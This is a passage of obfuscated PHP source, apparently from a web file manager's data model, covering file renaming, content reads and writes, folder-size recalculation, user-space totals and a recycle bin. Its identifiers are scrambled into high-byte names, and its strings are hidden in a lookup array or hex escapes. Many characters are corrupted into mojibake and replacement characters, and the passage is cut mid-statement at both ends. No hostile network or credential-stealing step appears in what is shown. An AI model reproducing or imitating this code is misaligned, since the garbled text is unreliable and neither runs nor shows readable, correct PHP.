array($¨¥»ç˜Û[$éʺ¾¢†[541]]); $²ŠÝƒÉŠ = array($˜<>ÚȰð); } return array($éʺ¾¢†[2272] => $²ŠÝƒÉŠ, $éʺ¾¢†[1566] => $<24>ˆÎôÜê); } public function removeArray($‹¹íúœÔ) { if (!$‹¹íúœÔ) { return !0; } } public function removeRelevance($·õ®‡ùÞ, $®Ú·Ë²Ø) { $ÏÆ¥Š±´ =& $_SERVER[ˆ¡¹µ‹Â]; $·õ®‡ùÞ = $·õ®‡ùÞ ? $·õ®‡ùÞ : array(); $®Ú·Ë²Ø = $®Ú·Ë²Ø ? $®Ú·Ë²Ø : array(); $·õ®‡ùÞ = array_unique(array_filter($·õ®‡ùÞ)); $®Ú·Ë²Ø = array_unique(array_filter($®Ú·Ë²Ø)); if (!$·õ®‡ùÞ) { return !1; } $©ëÅÄü„ = array($ÏÆ¥Š±´[491] => array($ÏÆ¥Š±´[492], $·õ®‡ùÞ)); Model($ÏÆ¥Š±´[2273])->where($©ëÅÄü„)->delete(); Model($ÏÆ¥Š±´[535])->where($©ëÅÄü„)->delete(); Model($ÏÆ¥Š±´[2114])->where($©ëÅÄü„)->delete(); Model($ÏÆ¥Š±´[633])->where($©ëÅÄü„)->delete(); Model($ÏÆ¥Š±´[1941])->removeBySource($·õ®‡ùÞ); Model($ÏÆ¥Š±´[2254])->removeBySource($·õ®‡ùÞ); $this->where($©ëÅÄü„)->delete(); Model($ÏÆ¥Š±´[544])->remove($®Ú·Ë²Ø); for ($ÊÙ»ö—Û = 0; $ÊÙ»ö—Û < count($·õ®‡ùÞ); $ÊÙ»ö—Û++) { $this->sourceCacheClear($·õ®‡ùÞ[$ÊÙ»ö—Û]); } } public function rename($úÇõÔ÷à, $ŠùÉÔÄÂ) { $™¯ªâåø =& $_SERVER[ˆ¡¹µ‹Â]; $‘ó÷þÏ™ = $this->sourceInfo($úÇõÔ÷à); if (!$‘ó÷þÏ™) { return !1; } $<24>ÅÂä¬<C3A4> = $this->fileNameExist($‘ó÷þÏ™[$™¯ªâåø[192]], $ŠùÉÔÄÂ); if ($<24>ÅÂä¬<C3A4> && $<24>ÅÂä¬<C3A4> != $úÇõÔ÷à) { return !1; } $Õ•¶¸Ðú = array($™¯ªâåø[494] => $ŠùÉÔÄÂ, $™¯ªâåø[651] => USER_ID); if ($‘ó÷þÏ™[$™¯ªâåø[485]] != $™¯ªâåø[91]) { $Õ•¶¸Ðú[$™¯ªâåø[486]] = substr(get_path_ext($ŠùÉÔÄÂ), 0, 10); } Model($™¯ªâåø[633])->eventRename($úÇõÔ÷à, $‘ó÷þÏ™[$™¯ªâåø[32]], $ŠùÉÔÄÂ); $this->sourceCacheClear($úÇõÔ÷à); $this->setNamePinyin($úÇõÔ÷à, $Õ•¶¸Ðú[$™¯ªâåø[32]], !1); $this->updateModifyTime($‘ó÷þÏ™[$™¯ªâåø[192]]); $ŸÅ¨ç<C2A8>Å = $this->where(array($™¯ªâåø[491] => $úÇõÔ÷à))->data($Õ•¶¸Ðú)->save(); $š›åºñ… = $™¯ªâåø[2262] . $‘ó÷þÏ™[$™¯ªâåø[192]]; if (isset(self::$cacheChildList[$š›åºñ…])) { unset(self::$cacheChildList[$š›åºñ…]); } return $ŸÅ¨ç<C2A8>Å; } public function setNamePinyin($„ݱ§É„, $ìü¥, $ܶ†¿§° = true) { $À©åøôÏ =& $_SERVER[ˆ¡¹µ‹Â]; $Åæõ¶ª´ = Input::check($ìü¥, $À©åøôÏ[655]); $çøæúæƒ = array($À©åøôÏ[517] => KodSort::makeStr($ìü¥)); if ($Åæõ¶ª´) { $çøæúæƒ[$À©åøôÏ[538]] = str_replace($À©åøôÏ[53], $À©åøôÏ[12], Pinyin::get($ìü¥)); $çøæúæƒ[$À©åøôÏ[537]] = Pinyin::get($ìü¥, $À©åøôÏ[656]); } if (!$ܶ†¿§° && !$Åæõ¶ª´) { $çøæúæƒ[$À©åøôÏ[538]] = null; $çøæúæƒ[$À©åøôÏ[537]] = null; } $this->metaSet($„ݱ§É„, $çøæúæƒ); } public function getContent($£÷Ó¦àî) { $Á€Âõ×Ë =& $_SERVER[ˆ¡¹µ‹Â]; $ƒß˜ÇÑ™ = $this->fileInfoGet($£÷Ó¦àî); if (!$ƒß˜ÇÑ™) { return !1; } if ($ƒß˜ÇÑ™[$Á€Âõ×Ë[79]] == 0) { return $Á€Âõ×Ë[12]; } $õ˜’ýôÍ = $Á€Âõ×Ë[2276] . $ƒß˜ÇÑ™[$Á€Âõ×Ë[547]]; if ($ƒß˜ÇÑ™[$Á€Âõ×Ë[79]] <= 1024 * 10) { $ù‹«©¸› = Cache::get($õ˜’ýôÍ); if (!$ù‹«©¸›) { $ù‹«©¸› = IO::getContent($ƒß˜ÇÑ™[$Á€Âõ×Ë[87]]); Cache::set($õ˜’ýôÍ, $ù‹«©¸›); } return $ù‹«©¸›; } if (!$ƒß˜ÇÑ™[$Á€Âõ×Ë[87]]) { return $Á€Âõ×Ë[12]; } return IO::getContent($ƒß˜ÇÑ™[$Á€Âõ×Ë[87]]); } public function setDesc($Õߌ†±<E280A0>, $ςˡðÆ) { $Í’¹ÑÞÍ =& $_SERVER[ˆ¡¹µ‹Â]; Model($Í’¹ÑÞÍ[633])->eventAddDesc($Õߌ†±<E280A0>, $ςˡðÆ); return $this->metaSet($Õߌ†±<E280A0>, $Í’¹ÑÞÍ[526], $ςˡðÆ); } public function setContent($·¥ÙÛôÏ, $·½¶•§ê = '') { $å±ú”À± =& $_SERVER[ˆ¡¹µ‹Â]; $ž¿‰è<E280B0> = $this->sourceInfo($·¥ÙÛôÏ); $£Ë¯„<C2AF>ê = $this->fileInfoGet($·¥ÙÛôÏ); if (!$£Ë¯„<C2AF>ê || !$ž¿‰è<E280B0>Â) { return !1; } $³áŒüûÄ = Model($å±ú”À±[544])->addFileByContent($·½¶•§ê, $ž¿‰è<E280B0>Â[$å±ú”À±[32]]); $±–‹ãò’ = $this->fileHistory($ž¿‰è<E280B0>Â, $³áŒüûÄ[$å±ú”À±[541]], $³áŒüûÄ[$å±ú”À±[79]]); if (!$±–‹ãò’) { return Model($å±ú”À±[544])->remove($³áŒüûÄ[$å±ú”À±[541]]); } $this->folderSizeReset($ž¿‰è<E280B0>Â[$å±ú”À±[192]]); return !0; } public function fileSubstr($°·ßÞñ—, $º—€Ü¥Á, $ÄÊòÇç<C387>) { $¥áÂ<C3A1>ž· = $this->fileInfoGet($°·ßÞñ—); if (!$¥áÂ<C3A1>ž·) { return !1; } return IO::fileSubstr($¥áÂ<C3A1>ž·[$_SERVER[ˆ¡¹µ‹Â][87]], $º—€Ü¥Á, $ÄÊòÇç<C387>); } public function fileInfoGet($ˆ¹øô½–) { $íðÊÁªÐ =& $_SERVER[ˆ¡¹µ‹Â]; $­Žœò”¹ = $this->sourceInfo($ˆ¹øô½–); if (!$­Žœò”¹ || $­Žœò”¹[$íðÊÁªÐ[485]]) { return !1; } $Î<>¯éɃ = $íðÊÁªÐ[548] . $­Žœò”¹[$íðÊÁªÐ[541]]; $ð‘µó¤÷ = _get(self::$cacheFileInfo, $Î<>¯éɃ); if ($ð‘µó¤÷) { return $ð‘µó¤÷; } $›´ÔÝ›± = Model($íðÊÁªÐ[544])->fileInfo($­Žœò”¹[$íðÊÁªÐ[541]]); if ($›´ÔÝ›±) { $›´ÔÝ›±[$íðÊÁªÐ[32]] = $­Žœò”¹[$íðÊÁªÐ[32]]; } self::$cacheFileInfo[$Î<>¯éɃ] = $›´ÔÝ›±; return $›´ÔÝ›±; } private function folderChildrenNumber($<24>Íží°í) { $µÏ¯ó‡• =& $_SERVER[ˆ¡¹µ‹Â]; $Ûç<C39B>…µ = $this->sourceInfo($<24>Íží°í); $毈œÒ­ = array($µÏ¯ó‡•[652] => array($µÏ¯ó‡•[612], $Ûç<C39B>…µ[$µÏ¯ó‡•[584]] . $<24>Íží°í . $µÏ¯ó‡•[613]), $µÏ¯ó‡•[649] => $Ûç<C39B>…µ[$µÏ¯ó‡•[569]], $µÏ¯ó‡•[504] => intval($Ûç<C39B>…µ[$µÏ¯ó‡•[505]]), $µÏ¯ó‡•[646] => 1); $Ó‚¡¶‚’ = $this->where($毈œÒ­)->count(); $ë ª†»ô = $this->where($毈œÒ­)->where(array($µÏ¯ó‡•[646] => 0))->count(); return array($µÏ¯ó‡•[83] => $ë ª†»ô, $µÏ¯ó‡•[84] => $Ó‚¡¶‚’); } public function pathInfo($ç²¼õÆî, $‹´Ÿ½Ï² = false) { $<24><>ò”‰ð =& $_SERVER[ˆ¡¹µ‹Â]; $‹´Ÿ½Ï² = !1; $ç²¼õÆî = intval($ç²¼õÆî); $™Ùõ¿Á<C2BF> = $<24><>ò”‰ð[534] . intval($‹´Ÿ½Ï²) . $<24><>ò”‰ð[462] . $ç²¼õÆî; $Úº£Öª… = _get(self::$cachePathInfo, $™Ùõ¿Á<C2BF>); if ($Úº£Öª…) { return $Úº£Öª…; } $ÂгƉƒ = $this->sourceInfo($ç²¼õÆî); if (!$ÂгƉƒ) { return !1; } $ÂгƉƒ = $this->_listDataApplyItem($ÂгƉƒ, $‹´Ÿ½Ï²); self::$cachePathInfo[$™Ùõ¿Á<C2BF>] = $ÂгƉƒ; return $ÂгƉƒ; } public static $cachePathInfoMore = array(); public function pathInfoMore($¤ûº„êã) { $áÇû´³æ =& $_SERVER[ˆ¡¹µ‹Â]; $ò“äÒØ— = _get(self::$cachePathInfoMore, $¤ûº„êã); if ($ò“äÒØ—) { return $ò“äÒØ—; } $<24>´ô¼§• = $this->pathInfo($¤ûº„êã); if (!$<24>´ô¼§•) { return !1; } if ($<24>´ô¼§•[$áÇû´³æ[485]] == $áÇû´³æ[91]) { $<24>´ô¼§•[$áÇû´³æ[82]] = $this->folderChildrenNumber($¤ûº„êã); } self::$cachePathInfoMore[$¤ûº„êã] = $<24>´ô¼§•; return $<24>´ô¼§•; } public function sourceInfo($¾ø†¤à£) { $ˆÞ¨ìÊé =& $_SERVER[ˆ¡¹µ‹Â]; if (!$¾ø†¤à£) { return array(); } $¾ø†¤à£ = intval($¾ø†¤à£); $²ÑÀîßä = $ˆÞ¨ìÊé[533] . $¾ø†¤à£; $›Ÿ‡Èô¢ = _get(self::$cacheSourceInfo, $²ÑÀîßä); if ($›Ÿ‡Èô¢) { return $›Ÿ‡Èô¢; } $·­À•ïü = $this->where(array($ˆÞ¨ìÊé[193] => $¾ø†¤à£))->find(); self::$cacheSourceInfo[$²ÑÀîßä] = $·­À•ïü; return self::$cacheSourceInfo[$²ÑÀîßä]; } public function sourceCacheClear($<24>õ²—¥ù = false) { self::cacheClear($<24>õ²—¥ù); } public static function cacheClear($ùì߸óÐ = false) { $…¯“ù—œ =& $_SERVER[ˆ¡¹µ‹Â]; if ($ùì߸óÐ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$…¯“ù—œ[533] . $ùì߸óÐ]); unset(self::$cachePathInfoMore[$ùì߸óÐ]); unset(self::$cachePathInfo[$…¯“ù—œ[2277] . $ùì߸óÐ]); unset(self::$cachePathInfo[$…¯“ù—œ[2278] . $ùì߸óÐ]); } public function metaSet($¡³¾Ûч, $„žÇ¦ˆ¯ = null, $¼™´åßî = null) { $–ƒéŽÌ• = parent::metaSet($¡³¾Ûч, $„žÇ¦ˆ¯, $¼™´åßî); if ($–ƒéŽÌ•) { $this->sourceCacheClear($¡³¾Ûч); } return $–ƒéŽÌ•; } public function pathInfoByPath($ìüà‡Ö´, $¬ëåÖ£Ž) { $ÎàÜš£³ =& $_SERVER[ˆ¡¹µ‹Â]; $ë<>»Ñü = !$¬ëåÖ£Ž ? array() : explode($ÎàÜš£³[8], trim($¬ëåÖ£Ž, $ÎàÜš£³[8])); $âòû¤Ê® = $ìüà‡Ö´; foreach ($ë<>»Ñü as $׎ښºÅ) { $ì„–¤Ž´ = array($ÎàÜš£³[192] => $âòû¤Ê®, $ÎàÜš£³[32] => $׎ښºÅ); $»¶ÓÑÓ— = $this->field($ÎàÜš£³[2279])->where($ì„–¤Ž´)->select(); if (!$»¶ÓÑÓ—) { return !1; } $»¶ÓÑÓ— = array_sort_by($»¶ÓÑÓ—, $ÎàÜš£³[505]); $âòû¤Ê® = $»¶ÓÑÓ—[0][$ÎàÜš£³[193]]; } $Å<>þú« = $this->sourceInfo($âòû¤Ê®); $this->pathInfoFilter($Å<>þú«); return $Å<>þú«; } protected function updateModifyTime($…¾§¾Ž³) { $ð‚À ×Š =& $_SERVER[ˆ¡¹µ‹Â]; $½é¯ÍÐ<C38D> = defined($ð‚À ×Š[2189]) ? USER_ID : 0; if (!$…¾§¾Ž³) { return; } if (!is_array($…¾§¾Ž³)) { $…¾§¾Ž³ = array($…¾§¾Ž³); } foreach ($…¾§¾Ž³ as $†½˜¹Éë => $ìÑžÛØª) { $…¾§¾Ž³[$†½˜¹Éë] = intval($ìÑžÛØª); $this->sourceCacheClear($ìÑžÛØª); } $¾ÏøÄ—å = array($ð‚À ×Š[193] => array($ð‚À ×Š[7], $…¾§¾Ž³)); $¸‚Ž’ö‰ = array($ð‚À ×Š[651] => $½é¯ÍÐ<C38D>, $ð‚À ×Š[498] => time()); $this->where($¾ÏøÄ—å)->save($¸‚Ž’ö‰); } public function folderSizeReset($Å÷ÀÍ·û, $¹¦ÔÞˤ = false) { $¶®ò³¼ì =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->statusIgnoreResetSpace) { return; } $£ðŠö¶Í = $this->sourceInfo($Å÷ÀÍ·û); $‚­‹Ú©ƒ = $¶®ò³¼ì[2280] . $Å÷ÀÍ·û; CacheLock::lock($‚­‹Ú©ƒ, 20); if ($¹¦ÔÞˤ === !1) { $this->sourceCacheClear($Å÷ÀÍ·û); $£ðŠö¶Í = $this->sourceInfo($Å÷ÀÍ·û); $<24>°ï“ç = array($¶®ò³¼ì[477] => $Å÷ÀÍ·û, $¶®ò³¼ì[504] => 0); $£’‘–Œï = $this->where($<24>°ï“ç)->sum($¶®ò³¼ì[79]); $¹¦ÔÞˤ = intval($£’‘–Œï) - intval($£ðŠö¶Í[$¶®ò³¼ì[79]]); } if ($¹¦ÔÞˤ == 0) { return CacheLock::unlock($‚­‹Ú©ƒ); } $ܽ…åä¾ = $this->parentLevelArray($£ðŠö¶Í[$¶®ò³¼ì[584]]); if (!$ܽ…åä¾) { $ܽ…åä¾ = array(); } $ܽ…åä¾[] = $£ðŠö¶Í[$¶®ò³¼ì[193]]; $<24>°ï“ç = array($¶®ò³¼ì[193] => array($¶®ò³¼ì[492], $ܽ…åä¾)); if ($¹¦ÔÞˤ < 0) { $<24>°ï“ç[$¶®ò³¼ì[79]] = array($¶®ò³¼ì[1086], abs($¹¦ÔÞˤ)); } $this->where($<24>°ï“ç)->setAdd($¶®ò³¼ì[79], $¹¦ÔÞˤ); CacheLock::unlock($‚­‹Ú©ƒ); $Øî¢ŽÙ = $¶®ò³¼ì[2281] . $£ðŠö¶Í[$¶®ò³¼ì[190]] . $¶®ò³¼ì[4] . $£ðŠö¶Í[$¶®ò³¼ì[569]]; $àÌð£°Ã = array($£ðŠö¶Í[$¶®ò³¼ì[190]], $£ðŠö¶Í[$¶®ò³¼ì[569]]); TaskRun::timeLimitCall($Øî¢ŽÙ, $¶®ò³¼ì[2282], $àÌð£°Ã, 1.5); } public function folderSizeResetChildren($Ë¢ÕïȦ) { $»½Æ½ÜÏ =& $_SERVER[ˆ¡¹µ‹Â]; $this->sourceCacheClear($Ë¢ÕïȦ); $ÞÐã껞 = $this->sourceInfo($Ë¢ÕïȦ); $ä醊‘¯ = array($»½Æ½ÜÏ[646] => 1, $»½Æ½ÜÏ[649] => $ÞÐã껞[$»½Æ½ÜÏ[569]], $»½Æ½ÜÏ[652] => array($»½Æ½ÜÏ[612], $ÞÐã껞[$»½Æ½ÜÏ[584]] . $Ë¢ÕïȦ . $»½Æ½ÜÏ[613])); $á»®‹ß¤ = $»½Æ½ÜÏ[2283]; $á¹§â<C2A7>ñ = $this->field($á»®‹ß¤)->where($ä醊‘¯)->select(); $ä醊‘¯[$»½Æ½ÜÏ[485]] = 0; $܆éî‹ä = $this->field($á»®‹ß¤)->where($ä醊‘¯)->select(); if (!$܆éî‹ä) { return; } $á¹§â<C2A7>ñ[] = $ÞÐã껞; $á¹§â<C2A7>ñ = array_to_keyvalue($á¹§â<C2A7>ñ, $»½Æ½ÜÏ[193]); foreach ($á¹§â<C2A7>ñ as $ñ<>ØËÁ´ => $›€ƒïÍá) { $á¹§â<C2A7>ñ[$ñ<>ØËÁ´][$»½Æ½ÜÏ[2284]] = $á¹§â<C2A7>ñ[$ñ<>ØËÁ´][$»½Æ½ÜÏ[79]]; $á¹§â<C2A7>ñ[$ñ<>ØËÁ´][$»½Æ½ÜÏ[79]] = 0; } foreach ($܆éî‹ä as $›€ƒïÍá) { $êÁÏÉê¦ = $›€ƒïÍá[$»½Æ½ÜÏ[192]] . $»½Æ½ÜÏ[12]; if (!isset($á¹§â<C2A7>ñ[$êÁÏÉê¦])) { continue; } if ($›€ƒïÍá[$»½Æ½ÜÏ[505]] == $á¹§â<C2A7>ñ[$êÁÏÉê¦][$»½Æ½ÜÏ[505]]) { $á¹§â<C2A7>ñ[$êÁÏÉê¦][$»½Æ½ÜÏ[79]] += $›€ƒïÍá[$»½Æ½ÜÏ[79]]; } } foreach ($á¹§â<C2A7>ñ as $›€ƒïÍá) { $œÌþ = $this->parentLevelArray($›€ƒïÍá[$»½Æ½ÜÏ[584]]); foreach ($œÌþ as $êÁÏÉê¦) { $êÁÏÉê¦ = $êÁÏÉê¦ . $»½Æ½ÜÏ[12]; if (!isset($á¹§â<C2A7>ñ[$êÁÏÉê¦])) { continue; } if ($›€ƒïÍá[$»½Æ½ÜÏ[505]] == $á¹§â<C2A7>ñ[$êÁÏÉê¦][$»½Æ½ÜÏ[505]]) { $á¹§â<C2A7>ñ[$êÁÏÉê¦][$»½Æ½ÜÏ[79]] += $›€ƒïÍá[$»½Æ½ÜÏ[79]]; } } } $ŸÑÛçñò = array(); foreach ($á¹§â<C2A7>ñ as $›€ƒïÍá) { if ($›€ƒïÍá[$»½Æ½ÜÏ[79]] == $›€ƒïÍá[$»½Æ½ÜÏ[2284]]) { continue; } $ŸÑÛçñò[] = array($»½Æ½ÜÏ[193], $›€ƒïÍá[$»½Æ½ÜÏ[193]], $»½Æ½ÜÏ[79], $›€ƒïÍá[$»½Æ½ÜÏ[79]]); } $this->saveAll($ŸÑÛçñò); } public function userSpaceReset($ÛкÓïÕ = false) { $ñð´ªÉã =& $_SERVER[ˆ¡¹µ‹Â]; $’‰ð¨Ù† = $this->where(array($ñð´ªÉã[190] => self::TYPE_USER, $ñð´ªÉã[569] => $ÛкÓïÕ, $ñð´ªÉã[485] => 0))->sum($ñð´ªÉã[79]); $’‰ð¨Ù† = !$’‰ð¨Ù† || $’‰ð¨Ù† <= 0 ? 0 : $’‰ð¨Ù†; Model($ñð´ªÉã[577])->userEdit($ÛкÓïÕ, array($ñð´ªÉã[1950] => $’‰ð¨Ù†)); } public function targetSpaceUpdate($»Ç¦ùòÎ, $ý†¤‘´å) { $ˆ†¨ÍåØ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ý†¤‘´å) { return; } if (!in_array($»Ç¦ùòÎ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ÕÀÆè”Þ = $this->targetSpaceSize($»Ç¦ùòÎ, $ý†¤‘´å); if ($»Ç¦ùòÎ == self::TYPE_USER) { Model($ˆ†¨ÍåØ[577])->userEdit($ý†¤‘´å, array($ˆ†¨ÍåØ[1950] => $ÕÀÆè”Þ)); } else { if ($»Ç¦ùòÎ == self::TYPE_GROUP) { Model($ˆ†¨ÍåØ[585])->groupEdit($ý†¤‘´å, array($ˆ†¨ÍåØ[1950] => $ÕÀÆè”Þ)); } } } public function targetSpaceSize($ÑÚ¨»Ûî, $ˆŒ˜®ÛÓ) { $ßãìß’Ü =& $_SERVER[ˆ¡¹µ‹Â]; $Ó®šÒ–˜ = 0; $€û÷îÖð = $this->targetSourceRoot($ÑÚ¨»Ûî, $ˆŒ˜®ÛÓ, !0); foreach ($€û÷îÖð as $Øöú‡î€) { if (!$Øöú‡î€) { continue; } $Ó®šÒ–˜ += floatval($Øöú‡î€[$ßãìß’Ü[79]]); $<24>ØÏßÚ<C39F> = array($ßãìß’Ü[652] => array($ßãìß’Ü[612], $ßãìß’Ü[594] . $Øöú‡î€[$ßãìß’Ü[193]] . $ßãìß’Ü[613])); $Åæµ‘î™ = Model($ßãìß’Ü[503])->field($ßãìß’Ü[491])->where($<24>ØÏßÚ<C39F>)->select(); $Åæµ‘î™ = array_to_keyvalue($Åæµ‘î™, $ßãìß’Ü[12], $ßãìß’Ü[193]); $Åæµ‘î™ = array_unique(array_filter($Åæµ‘î™)); if ($Åæµ‘î™) { $<24>ØÏßÚ<C39F> = array($ßãìß’Ü[491] => array($ßãìß’Ü[492], $Åæµ‘î™)); $Ó®šÒ–˜ += floatval($this->where($<24>ØÏßÚ<C39F>)->sum($ßãìß’Ü[79])); } } $Ó®šÒ–˜ = !$Ó®šÒ–˜ || $Ó®šÒ–˜ <= 0 ? 0 : $Ó®šÒ–˜; return $Ó®šÒ–˜; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($ƒÎñ‘öã) { return $this->fileTypeProfile($ƒÎñ‘öã, SourceModel::TYPE_USER); } public function groupFileTypeProfile($š<>à»Üý) { return $this->fileTypeProfile($š<>à»Üý, SourceModel::TYPE_GROUP); } private function fileTypeProfile($Ïší™ ¦, $”䣀æ™) { $ž¸ð±·Š =& $_SERVER[ˆ¡¹µ‹Â]; $Ùû©ÞÌ<C39E> = $ž¸ð±·Š[2285] . $Ïší™ ¦ . $ž¸ð±·Š[11] . $”䣀æ™; $²©ÃÓ¿Ð = Cache::get($Ùû©ÞÌ<C39E>); if ($²©ÃÓ¿Ð) { return $²©ÃÓ¿Ð; } $À—ƒò—š = array($ž¸ð±·Š[646] => 0); if ($Ïší™ ¦ != !1) { $À—ƒò—š[$ž¸ð±·Š[569]] = $Ïší™ ¦; $À—ƒò—š[$ž¸ð±·Š[190]] = $”䣀æ™; } $Ñê€<C3AA>ýô = array(); $Ñê€<C3AA>ýô[$ž¸ð±·Š[2286]] = array($ž¸ð±·Š[2287] => LNG($ž¸ð±·Š[2286]), $ž¸ð±·Š[2288] => $this->where($À—ƒò—š)->count(), $ž¸ð±·Š[617] => $this->where($À—ƒò—š)->sum($ž¸ð±·Š[79])); $µ¤¸‹‰ó = KodIO::fileTypeList(); foreach ($µ¤¸‹‰ó as $€<>ºãá  => $ÈëÀ˜ò¡) { $À—ƒò—š[$ž¸ð±·Š[486]] = $this->fileTypeWhere($€<>ºãá ); $Ñê€<C3AA>ýô[$€<>ºãá ] = array($ž¸ð±·Š[2287] => $ÈëÀ˜ò¡[$ž¸ð±·Š[32]], $ž¸ð±·Š[2288] => $this->where($À—ƒò—š)->count(), $ž¸ð±·Š[617] => $this->where($À—ƒò—š)->sum($ž¸ð±·Š[79])); } Cache::set($Ùû©ÞÌ<C39E>, $Ñê€<C3AA>ýô, 1200); return $Ñê€<C3AA>ýô; } public function fileNameExist($ƒ€ƒýšƒ, $ƒö›­Žœ) { $Ç’»ã„ð =& $_SERVER[ˆ¡¹µ‹Â]; $ï‡çĬ  = $this->field($Ç’»ã„ð[2289])->where(array($Ç’»ã„ð[192] => $ƒ€ƒýšƒ, $Ç’»ã„ð[32] => $ƒö›­Žœ, $Ç’»ã„ð[505] => 0))->find(); return is_array($ï‡çĬ ) ? $ï‡çĬ [$Ç’»ã„ð[193]] : !1; } public function childList($¥<>äâü¨) { $¥žè‡îØ =& $_SERVER[ˆ¡¹µ‹Â]; $ÑÒÞ±Œ– = $¥žè‡îØ[2262] . $¥<>äâü¨; if (isset(self::$cacheChildList[$ÑÒÞ±Œ–])) { return self::$cacheChildList[$ÑÒÞ±Œ–]; } $<24>óÃäïû = array($¥žè‡îØ[192] => intval($¥<>äâü¨), $¥žè‡îØ[505] => 0); $ûÍçÄõì = $this->where($<24>óÃäïû)->select(); $ûÍçÄõì = $ûÍçÄõì ? $ûÍçÄõì : array(); self::$cacheChildList[$ÑÒÞ±Œ–] = $ûÍçÄõì; foreach ($ûÍçÄõì as $½ÔØÓÀ²) { $ÑÒÞ±Œ– = $¥žè‡îØ[533] . $½ÔØÓÀ²[$¥žè‡îØ[193]]; self::$cacheSourceInfo[$ÑÒÞ±Œ–] = $½ÔØÓÀ²; } return $ûÍçÄõì; } public function fileNameAuto($åÑ®¬”<C2AC>, $<24>ØÉɪå, $¢“„èÂ× = REPEAT_RENAME, $Ž‚§ôÕ² = false) { $«ä±‹£» =& $_SERVER[ˆ¡¹µ‹Â]; $õ<>ã<EFBFBD>×ä = get_path_ext($<24>ØÉɪå); $ôˆáÒà = $õ<>ã<EFBFBD>×ä ? get_path_ext_name($<24>ØÉɪå) . $«ä±‹£»[2290] . $õ<>ã<EFBFBD>×ä : $<24>ØÉɪå . $«ä±‹£»[460]; $Ùç¢ÏÆ× = array($«ä±‹£»[192] => $åÑ®¬”<C2AC>, $«ä±‹£»[505] => 0, $«ä±‹£»[32] => array($«ä±‹£»[459], $ôˆáÒÃ)); $ởϖó = $this->field($«ä±‹£»[32])->where($Ùç¢ÏÆ×)->select(); $¨–†“³Î = array_to_keyvalue($ởϖó, $«ä±‹£»[12], $«ä±‹£»[32]); return $this->fileNameAutoGet($¨–†“³Î, $<24>ØÉɪå, $¢“„èÂ×, $Ž‚§ôÕ²); } public function fileNameAutoGet($ûù<C3BB>³É , $埱••Ô, $¸Œ†ò¡ª, $ž’…ó®×) { $̥糭¯ =& $_SERVER[ˆ¡¹µ‹Â]; if ($¸Œ†ò¡ª == REPEAT_REPLACE || !$ûù<C3BB>³É  || !in_array_not_case($埱••Ô, $ûù<C3BB>³É ) || $ž’…ó®× && $¸Œ†ò¡ª != REPEAT_RENAME_FOLDER) { return $埱••Ô; } if ($¸Œ†ò¡ª == REPEAT_SKIP) { return !1; } $´­„’ïÄ = $̥糭¯[10] . get_path_ext($埱••Ô); $´­„’ïÄ = $´­„’ïÄ == $̥糭¯[10] || $ž’…ó®× ? $̥糭¯[12] : $´­„’ïÄ; for ($öð‘·úû = 1; $öð‘·úû <= count($ûù<C3BB>³É ) + 1; $öð‘·úû++) { $«ÍùäªÀ = substr($埱••Ô, 0, strlen($埱••Ô) - strlen($´­„’ïÄ)); $<24>•î·“¹ = $«ÍùäªÀ . "\x28{$öð‘·úû}\x29{$´­„’ïÄ}"; if (!in_array_not_case($<24>•î·“¹, $ûù<C3BB>³É )) { return $<24>•î·“¹; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\157\137\x73\x6f\165\162\143\145\x5f\162\145\x63\x79\143\x6c\145"; protected $dataAuto = array(array("\x63\x72\145\141\164\145\x54\x69\155\145", "\x74\x69\155\x65", "\151\x6e\x73\145\162\164", "\x66\x75\x6e\143\x74\x69\x6f\156")); public function listData($ÀÂÌ•‘î = false) { $̄֨²<C2A8> =& $_SERVER[ˆ¡¹µ‹Â]; $ÀÂÌ•‘î = $ÀÂÌ•‘î ? $ÀÂÌ•‘î : USER_ID; $£å³öíá = $this->where(array($̄֨²<C2A8>[1754] => $ÀÂÌ•‘î))->select(); return array_to_keyvalue($£å³öíá, $̄֨²<C2A8>[12], $̄֨²<C2A8>[193]); } public function moveToRecycle($Û­Ä‘Èð) { $˜Ä¡Ñá­ =& $_SERVER[ˆ¡¹µ‹Â]; $ë<>¤„œŽ = Model($˜Ä¡Ñá­[1411]); $ÞÀ®à™· = $ë<>¤„œŽ->sourceInfo($Û­Ä‘Èð); if (!$ÞÀ®à™· || $ÞÀ®à™·[$˜Ä¡Ñá­[505]] == $˜Ä¡Ñá­[91]) { return; } $<24>À¹µ<C2B9>Ù = array($˜Ä¡Ñá­[491] => $Û­Ä‘Èð, $˜Ä¡Ñá­[1754] => USER_ID, $˜Ä¡Ñá­[648] => $ÞÀ®à™·[$˜Ä¡Ñá­[190]], $˜Ä¡Ñá­[649] => $ÞÀ®à™·[$˜Ä¡Ñá­[569]], $˜Ä¡Ñá­[652] => $ÞÀ®à™·[$˜Ä¡Ñá­[584]]); $this->add($<24>À¹µ<C2B9>Ù); $this->recycleMove($Û­Ä‘Èð, 1); if ($ÞÀ®à™·[$˜Ä¡Ñá­[485]] == $˜Ä¡Ñá­[91]) { $Ú«†<C2AB>‡ö = array($˜Ä¡Ñá­[652] => array($˜Ä¡Ñá­[612], $ÞÀ®à™·[$˜Ä¡Ñá­[584]] . $Û­Ä‘Èð . $˜Ä¡Ñá­[613])); $ë<>¤„œŽ->where($Ú«†<C2AB>‡ö)->setField($˜Ä¡Ñá­[505], 1); } } public function clear() { $this->remove(!1); } public function remove($¬àίܾ = false, $àë ½ÎÅ = false) { $“ÄŠñ¸Ú =& $_SERVER[ˆ¡¹µ‹Â]; $àë ½ÎÅ = $àë ½ÎÅ ? $àë ½ÎÅ : USER_ID; $¢¹ß祄 = Model($“ÄŠñ¸Ú[1411]); $½óþÉ¶× = $this->listData($àë ½ÎÅ); $¬àίܾ = $¬àίܾ === !1 ? !1 : $¬àίܾ; $šÛ<C5A1>ÉÕÑ = array(); foreach ($½óþÉ¶× as $‚ÊÂæÃ¨) { if ($¬àίܾ != !1 && !in_array($‚ÊÂæÃ¨, $¬àίܾ)) { continue; } $Õ§áÈÙô = $¢¹ß祄->sourceInfo($‚ÊÂæÃ¨); $¢¹ß祄->remove($‚ÊÂæÃ¨, !1); 